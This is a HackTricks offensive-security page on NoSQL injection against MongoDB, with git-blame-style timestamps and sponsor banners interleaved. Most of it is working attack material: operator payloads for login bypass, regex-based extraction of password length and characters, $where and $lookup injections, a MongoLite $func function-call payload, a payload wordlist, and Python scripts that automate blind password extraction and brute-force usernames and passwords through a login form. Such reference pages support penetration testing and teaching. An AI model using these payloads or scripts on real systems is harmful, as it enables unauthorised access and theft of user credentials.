2022-08-31 22:35:39 +00:00
# NoSQL injection
2022-04-28 16:01:33 +00:00
2024-05-05 17:56:05 +00:00
< figure > < img src = "../.gitbook/assets/image (48).png" alt = "" > < figcaption > < / figcaption > < / figure >
2022-08-31 22:35:39 +00:00
\
2024-04-30 15:54:34 +00:00
Use [**Trickest** ](https://trickest.com/?utm_source=hacktricks&utm_medium=text&utm_campaign=ppc&utm_content=nosql-injection ) to easily build and **automate workflows** powered by the world's **most advanced** community tools.\
2022-08-31 22:35:39 +00:00
Get Access Today:
2024-04-30 15:54:34 +00:00
{% embed url="https://trickest.com/?utm_source=hacktricks& utm_medium=banner& utm_campaign=ppc& utm_content=nosql-injection" %}
2022-04-28 16:01:33 +00:00
< details >
2023-12-31 01:25:17 +00:00
< summary > < strong > Learn AWS hacking from zero to hero with< / strong > < a href = "https://training.hacktricks.xyz/courses/arte" > < strong > htARTE (HackTricks AWS Red Team Expert)< / strong > < / a > < strong > !< / strong > < / summary >
2022-04-28 16:01:33 +00:00
2023-12-31 01:25:17 +00:00
Other ways to support HackTricks:
* If you want to see your **company advertised in HackTricks** or **download HackTricks in PDF** Check the [**SUBSCRIPTION PLANS** ](https://github.com/sponsors/carlospolop )!
2022-09-30 10:43:59 +00:00
* Get the [**official PEASS & HackTricks swag** ](https://peass.creator-spring.com )
2023-12-31 01:25:17 +00:00
* Discover [**The PEASS Family** ](https://opensea.io/collection/the-peass-family ), our collection of exclusive [**NFTs** ](https://opensea.io/collection/the-peass-family )
2024-03-17 14:42:04 +00:00
* **Join the** 💬 [**Discord group** ](https://discord.gg/hRep4RUj7f ) or the [**telegram group** ](https://t.me/peass ) or **follow** us on **Twitter** 🐦 [**@carlospolopm** ](https://twitter.com/hacktricks\_live )**.**
2023-12-31 01:25:17 +00:00
* **Share your hacking tricks by submitting PRs to the** [**HackTricks** ](https://github.com/carlospolop/hacktricks ) and [**HackTricks Cloud** ](https://github.com/carlospolop/hacktricks-cloud ) github repos.
2022-04-28 16:01:33 +00:00
< / details >
2022-08-31 22:35:39 +00:00
## Exploit
2020-07-15 15:43:14 +00:00
2021-10-18 11:21:18 +00:00
In PHP you can send an Array changing the sent parameter from _parameter=foo_ to _parameter\[arrName]=foo._
2020-07-15 15:43:14 +00:00
The exploits are based in adding an **Operator** :
```bash
username[$ne]=1$password[$ne]=1 #< Not Equals >
username[$regex]=^adm$password[$ne]=1 #Check a < regular expression > , could be used to brute-force a parameter
username[$regex]=.{25}& pass[$ne]=1 #Use the < regex > to find the length of a value
2021-04-19 22:42:22 +00:00
username[$eq]=admin& password[$ne]=1 #< Equals >
2020-07-15 15:43:14 +00:00
username[$ne]=admin& pass[$lt]=s #< Less than > , Brute-force pass[$lt] to find more users
username[$ne]=admin& pass[$gt]=s #< Greater Than >
username[$nin][admin]=admin& username[$nin][test]=test& pass[$ne]=7 #< Matches non of the values of the array > (not test and not admin)
{ $where: "this.credits == this.debits" }#< IF > , can be used to execute code
```
2022-08-31 22:35:39 +00:00
### Basic authentication bypass
2020-07-15 15:43:14 +00:00
2021-10-18 11:21:18 +00:00
**Using not equal ($ne) or greater ($gt)**
2020-07-15 15:43:14 +00:00
```bash
#in URL
username[$ne]=toto& password[$ne]=toto
2021-06-26 15:50:17 +00:00
username[$regex]=.*& password[$regex]=.*
2020-07-15 15:43:14 +00:00
username[$exists]=true& password[$exists]=true
#in JSON
{"username": {"$ne": null}, "password": {"$ne": null} }
{"username": {"$ne": "foo"}, "password": {"$ne": "bar"} }
{"username": {"$gt": undefined}, "password": {"$gt": undefined} }
```
2024-01-04 09:08:44 +00:00
### **SQL - Mongo**
2024-01-10 00:59:55 +00:00
2023-12-31 15:29:39 +00:00
```javascript
query = { $where: `this.username == '${username}'` }
```
2024-01-10 00:59:55 +00:00
2024-02-06 03:10:38 +00:00
An attacker can exploit this by inputting strings like `admin' || 'a'=='a` , making the query return all documents by satisfying the condition with a tautology (`'a'=='a'`). This is analogous to SQL injection attacks where inputs like `' or 1=1-- -` are used to manipulate SQL queries. In MongoDB, similar injections can be done using inputs like `' || 1==1//` , `' || 1==1%00` , or `admin' || 'a'=='a` .
2023-12-31 15:29:39 +00:00
2021-10-18 11:21:18 +00:00
```
2020-07-15 15:43:14 +00:00
Normal sql: ' or 1=1-- -
2024-01-04 09:08:44 +00:00
Mongo sql: ' || 1==1// or ' || 1==1%00 or admin' || 'a'=='a
2020-07-15 15:43:14 +00:00
```
2022-08-31 22:35:39 +00:00
### Extract **length** information
2020-07-15 15:43:14 +00:00
```bash
username[$ne]=toto& password[$regex]=.{1}
username[$ne]=toto& password[$regex]=.{3}
# True if the length equals 1,3...
```
2022-08-31 22:35:39 +00:00
### Extract **data** information
2020-07-15 15:43:14 +00:00
2021-10-18 11:21:18 +00:00
```
2020-07-15 15:43:14 +00:00
in URL (if length == 3)
username[$ne]=toto& password[$regex]=a.{2}
username[$ne]=toto& password[$regex]=b.{2}
...
username[$ne]=toto& password[$regex]=m.{2}
username[$ne]=toto& password[$regex]=md.{1}
username[$ne]=toto& password[$regex]=mdp
username[$ne]=toto& password[$regex]=m.*
username[$ne]=toto& password[$regex]=md.*
in JSON
{"username": {"$eq": "admin"}, "password": {"$regex": "^m" }}
{"username": {"$eq": "admin"}, "password": {"$regex": "^md" }}
{"username": {"$eq": "admin"}, "password": {"$regex": "^mdp" }}
```
2022-08-31 22:35:39 +00:00
### **SQL - Mongo**
2020-07-15 15:43:14 +00:00
2021-10-18 11:21:18 +00:00
```
2020-07-15 15:43:14 +00:00
/?search=admin' & & this.password%00 --> Check if the field password exists
/?search=admin' & & this.password & & this.password.match(/.*/)%00 --> start matching password
/?search=admin' & & this.password & & this.password.match(/^a.*$/)%00
/?search=admin' & & this.password & & this.password.match(/^b.*$/)%00
/?search=admin' & & this.password & & this.password.match(/^c.*$/)%00
...
/?search=admin' & & this.password & & this.password.match(/^duvj.*$/)%00
...
/?search=admin' & & this.password & & this.password.match(/^duvj78i3u$/)%00 Found
```
2022-08-31 22:35:39 +00:00
### PHP Arbitrary Function Execution
2021-04-30 09:16:21 +00:00
2021-10-18 11:21:18 +00:00
Using the ** $func** operator of the [MongoLite ](https://github.com/agentejo/cockpit/tree/0.11.1/lib/MongoLite ) library (used by default) it might be possible to execute and arbitrary function as in [this report ](https://swarm.ptsecurity.com/rce-cockpit-cms/ ).
2021-04-30 09:16:21 +00:00
```python
"user":{"$func": "var_dump"}
```
2024-05-05 17:56:05 +00:00
![https://swarm.ptsecurity.com/wp-content/uploads/2021/04/cockpit\_auth\_check\_10.png ](<../.gitbook/assets/image (933 ).png>)
2021-04-30 09:16:21 +00:00
2023-03-23 14:03:29 +00:00
### Get info from different collection
It's possible to use [**$lookup** ](https://www.mongodb.com/docs/manual/reference/operator/aggregation/lookup/ ) to get info from a different collection. In the following example, we are reading from a **different collection** called ** `users` ** and getting the **results of all the entries** with a password matching a wildcard.
2024-02-28 17:41:06 +00:00
**NOTE:** `$lookup` and other aggregation functions are only available if the `aggregate()` function was used to perform the search instead of the more common `find()` or `findOne()` functions.
2023-03-23 14:03:29 +00:00
```json
[
{
"$lookup":{
"from": "users",
"as":"resultado","pipeline": [
{
"$match":{
"password":{
"$regex":"^.*"
}
}
}
]
}
}
]
```
2024-05-05 17:56:05 +00:00
< figure > < img src = "../.gitbook/assets/image (48).png" alt = "" > < figcaption > < / figcaption > < / figure >
2022-08-31 22:35:39 +00:00
\
2024-04-30 15:54:34 +00:00
Use [**Trickest** ](https://trickest.com/?utm_source=hacktricks&utm_medium=text&utm_campaign=ppc&utm_content=nosql-injection ) to easily build and **automate workflows** powered by the world's **most advanced** community tools.\
2022-08-31 22:35:39 +00:00
Get Access Today:
2024-04-30 15:54:34 +00:00
{% embed url="https://trickest.com/?utm_source=hacktricks& utm_medium=banner& utm_campaign=ppc& utm_content=nosql-injection" %}
2022-08-31 22:35:39 +00:00
2024-02-06 03:10:38 +00:00
## MongoDB Payloads
2024-03-17 14:42:04 +00:00
List [from here ](https://github.com/cr0hn/nosqlinjection\_wordlists/blob/master/mongodb\_nosqli.txt )
2024-02-06 03:10:38 +00:00
```
true, $where: '1 == 1'
, $where: '1 == 1'
$where: '1 == 1'
', $where: '1 == 1
1, $where: '1 == 1'
{ $ne: 1 }
', $or: [ {}, { 'a':'a
' } ], $comment:'successful MongoDB injection'
db.injection.insert({success:1});
db.injection.insert({success:1});return 1;db.stores.mapReduce(function() { { emit(1,1
|| 1==1
|| 1==1//
|| 1==1%00
}, { password : /.*/ }
' & & this.password.match(/.*/)//+%00
' & & this.passwordzz.match(/.*/)//+%00
'%20%26%26%20this.password.match(/.*/)//+%00
'%20%26%26%20this.passwordzz.match(/.*/)//+%00
{$gt: ''}
[$ne]=1
';sleep(5000);
';it=new%20Date();do{pt=new%20Date();}while(pt-it< 5000 ) ;
{"username": {"$ne": null}, "password": {"$ne": null}}
{"username": {"$ne": "foo"}, "password": {"$ne": "bar"}}
{"username": {"$gt": undefined}, "password": {"$gt": undefined}}
{"username": {"$gt":""}, "password": {"$gt":""}}
{"username":{"$in":["Admin", "4dm1n", "admin", "root", "administrator"]},"password":{"$gt":""}}
```
## Blind NoSQL Script
2020-07-15 15:43:14 +00:00
```python
import requests, string
alphabet = string.ascii_lowercase + string.ascii_uppercase + string.digits + "_@{}-/()!\"$%=^[]:;"
flag = ""
for i in range(21):
print("[i] Looking for char number "+str(i+1))
for char in alphabet:
r = requests.get("http://chall.com?param=^"+flag+char)
if ("< TRUE > " in r.text):
flag += char
print("[+] Flag: "+flag)
break
```
```python
import requests
import urllib3
import string
import urllib
urllib3.disable_warnings()
username="admin"
password=""
while True:
for c in string.printable:
if c not in ['*','+','.','?','|']:
payload='{"username": {"$eq": "%s"}, "password": {"$regex": "^%s" }}' % (username, password + c)
r = requests.post(u, data = {'ids': payload}, verify = False)
if 'OK' in r.text:
print("Found one more char : %s" % (password+c))
password += c
```
2022-08-31 22:35:39 +00:00
### Brute-force login usernames and passwords from POST login
2022-01-14 10:22:14 +00:00
This is a simple script that you could modify but the previous tools can also do this task.
2020-07-15 15:43:14 +00:00
```python
import requests
import string
url = "http://example.com"
headers = {"Host": "exmaple.com"}
cookies = {"PHPSESSID": "s3gcsgtqre05bah2vt6tibq8lsdfk"}
possible_chars = list(string.ascii_letters) + list(string.digits) + ["\\"+c for c in string.punctuation+string.whitespace ]
def get_password(username):
print("Extracting password of "+username)
params = {"username":username, "password[$regex]":"", "login": "login"}
password = "^"
while True:
for c in possible_chars:
params["password[$regex]"] = password + c + ".*"
pr = requests.post(url, data=params, headers=headers, cookies=cookies, verify=False, allow_redirects=False)
if int(pr.status_code) == 302:
password += c
break
if c == possible_chars[-1]:
print("Found password "+password[1:].replace("\\", "")+" for username "+username)
return password[1:].replace("\\", "")
2023-12-08 07:56:03 +00:00
def get_usernames(prefix):
2020-07-15 15:43:14 +00:00
usernames = []
2023-12-08 07:56:03 +00:00
params = {"username[$regex]":"", "password[$regex]":".*"}
2020-07-15 15:43:14 +00:00
for c in possible_chars:
2023-12-08 07:56:03 +00:00
username = "^" + prefix + c
2020-07-15 15:43:14 +00:00
params["username[$regex]"] = username + ".*"
pr = requests.post(url, data=params, headers=headers, cookies=cookies, verify=False, allow_redirects=False)
if int(pr.status_code) == 302:
2023-12-08 07:56:03 +00:00
print(username)
for user in get_usernames(prefix + c):
usernames.append(user)
2020-07-15 15:43:14 +00:00
return usernames
2023-12-08 07:56:03 +00:00
for u in get_usernames(""):
2020-07-15 15:43:14 +00:00
get_password(u)
```
2024-02-06 03:10:38 +00:00
## Tools
* [https://github.com/an0nlk/Nosql-MongoDB-injection-username-password-enumeration ](https://github.com/an0nlk/Nosql-MongoDB-injection-username-password-enumeration )
* [https://github.com/C4l1b4n/NoSQL-Attack-Suite ](https://github.com/C4l1b4n/NoSQL-Attack-Suite )
2022-08-31 22:35:39 +00:00
## References
2022-04-28 16:01:33 +00:00
2022-08-31 22:35:39 +00:00
* [https://files.gitbook.com/v0/b/gitbook-x-prod.appspot.com/o/spaces%2F-L\_2uGJGU7AVNRcqRvEi%2Fuploads%2Fgit-blob-3b49b5d5a9e16cb1ec0d50cb1e62cb60f3f9155a%2FEN-NoSQL-No-injection-Ron-Shulman-Peleg-Bronshtein-1.pdf?alt=media ](https://files.gitbook.com/v0/b/gitbook-x-prod.appspot.com/o/spaces%2F-L\_2uGJGU7AVNRcqRvEi%2Fuploads%2Fgit-blob-3b49b5d5a9e16cb1ec0d50cb1e62cb60f3f9155a%2FEN-NoSQL-No-injection-Ron-Shulman-Peleg-Bronshtein-1.pdf?alt=media )
2022-09-09 11:00:52 +00:00
* [https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/NoSQL%20Injection ](https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/NoSQL%20Injection )
2024-02-06 03:10:38 +00:00
* [https://nullsweep.com/a-nosql-injection-primer-with-mongo/ ](https://nullsweep.com/a-nosql-injection-primer-with-mongo/ )
* [https://blog.websecurify.com/2014/08/hacking-nodejs-and-mongodb ](https://blog.websecurify.com/2014/08/hacking-nodejs-and-mongodb )
2022-04-28 16:01:33 +00:00
< details >
2023-12-31 01:25:17 +00:00
< summary > < strong > Learn AWS hacking from zero to hero with< / strong > < a href = "https://training.hacktricks.xyz/courses/arte" > < strong > htARTE (HackTricks AWS Red Team Expert)< / strong > < / a > < strong > !< / strong > < / summary >
2022-04-28 16:01:33 +00:00
2023-12-31 01:25:17 +00:00
Other ways to support HackTricks:
* If you want to see your **company advertised in HackTricks** or **download HackTricks in PDF** Check the [**SUBSCRIPTION PLANS** ](https://github.com/sponsors/carlospolop )!
2022-09-30 10:43:59 +00:00
* Get the [**official PEASS & HackTricks swag** ](https://peass.creator-spring.com )
2023-12-31 01:25:17 +00:00
* Discover [**The PEASS Family** ](https://opensea.io/collection/the-peass-family ), our collection of exclusive [**NFTs** ](https://opensea.io/collection/the-peass-family )
2024-03-17 14:42:04 +00:00
* **Join the** 💬 [**Discord group** ](https://discord.gg/hRep4RUj7f ) or the [**telegram group** ](https://t.me/peass ) or **follow** us on **Twitter** 🐦 [**@carlospolopm** ](https://twitter.com/hacktricks\_live )**.**
2023-12-31 01:25:17 +00:00
* **Share your hacking tricks by submitting PRs to the** [**HackTricks** ](https://github.com/carlospolop/hacktricks ) and [**HackTricks Cloud** ](https://github.com/carlospolop/hacktricks-cloud ) github repos.
2022-04-28 16:01:33 +00:00
< / details >
2024-05-05 17:56:05 +00:00
< figure > < img src = "../.gitbook/assets/image (48).png" alt = "" > < figcaption > < / figcaption > < / figure >
2022-08-31 22:35:39 +00:00
\
2024-04-30 15:54:34 +00:00
Use [**Trickest** ](https://trickest.com/?utm_source=hacktricks&utm_medium=text&utm_campaign=ppc&utm_content=nosql-injection ) to easily build and **automate workflows** powered by the world's **most advanced** community tools.\
2022-08-31 22:35:39 +00:00
Get Access Today:
2022-04-28 16:01:33 +00:00
2024-04-30 15:54:34 +00:00
{% embed url="https://trickest.com/?utm_source=hacktricks& utm_medium=banner& utm_campaign=ppc& utm_content=nosql-injection" %}